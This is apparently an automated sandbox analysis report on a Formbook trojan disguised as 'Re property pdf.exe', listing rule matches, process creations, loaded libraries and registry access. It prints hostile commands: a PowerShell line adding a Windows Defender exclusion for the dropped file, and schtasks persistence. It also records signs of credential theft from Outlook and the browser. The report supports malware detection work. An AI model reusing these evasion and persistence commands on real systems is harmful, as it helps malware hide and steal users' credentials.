Source: 00000010.00000002.4215060092.0000000005920000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2173602365.0000000001320000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.4212104548.0000000002730000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: Re property pdf.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: hwOHPmqcegxcxb.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, weWwPlZVfk5tlcGN3Y.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, ntkhga1giMCKkUj49f.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, ntkhga1giMCKkUj49f.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, ntkhga1giMCKkUj49f.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, ntkhga1giMCKkUj49f.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, ntkhga1giMCKkUj49f.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, ntkhga1giMCKkUj49f.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Re property pdf.exe.3f1ee10.0.raw.unpack, weWwPlZVfk5tlcGN3Y.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, ntkhga1giMCKkUj49f.cs	Security API names: _0020.SetAccessControl
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, ntkhga1giMCKkUj49f.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Re property pdf.exe.8c00000.3.raw.unpack, ntkhga1giMCKkUj49f.cs	Security API names: _0020.AddAccessRule
Source: 0.2.Re property pdf.exe.3fa6c30.1.raw.unpack, weWwPlZVfk5tlcGN3Y.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@22/12@15/9

Source: C:\Users\user\Desktop\Re property pdf.exe

File created: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Mutant created: \Sessions\1\BaseNamedObjects\GZdhCKjbNSalCbZtEh
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03

Source: C:\Users\user\Desktop\Re property pdf.exe

File created: C:\Users\user\AppData\Local\Temp\tmp4EB6.tmp

Source: Re property pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Re property pdf.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Re property pdf.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Re property pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: PresentationHost.exe, 00000011.00000002.4211371395.0000000002DB7000.00000004.00000020.00020000.00000000.sdmp, PresentationHost.exe, 00000011.00000002.4211371395.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Re property pdf.exe

ReversingLabs: Detection: 91%

Source: C:\Users\user\Desktop\Re property pdf.exe

File read: C:\Users\user\Desktop\Re property pdf.exe

Source: unknown	Process created: C:\Users\user\Desktop\Re property pdf.exe "C:\Users\user\Desktop\Re property pdf.exe"
Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hwOHPmqcegxcxb" /XML "C:\Users\user\AppData\Local\Temp\tmp4EB6.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Users\user\Desktop\Re property pdf.exe "C:\Users\user\Desktop\Re property pdf.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hwOHPmqcegxcxb" /XML "C:\Users\user\AppData\Local\Temp\tmp600C.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process created: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process created: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Process created: C:\Windows\SysWOW64\PresentationHost.exe "C:\Windows\SysWOW64\PresentationHost.exe"
Source: C:\Windows\SysWOW64\PresentationHost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hwOHPmqcegxcxb" /XML "C:\Users\user\AppData\Local\Temp\tmp4EB6.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Process created: C:\Users\user\Desktop\Re property pdf.exe "C:\Users\user\Desktop\Re property pdf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\hwOHPmqcegxcxb" /XML "C:\Users\user\AppData\Local\Temp\tmp600C.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process created: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process created: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe "C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe"	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Process created: C:\Windows\SysWOW64\PresentationHost.exe "C:\Windows\SysWOW64\PresentationHost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Users\user\Desktop\Re property pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Re property pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\PresentationHost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: Re property pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Re property pdf.exe

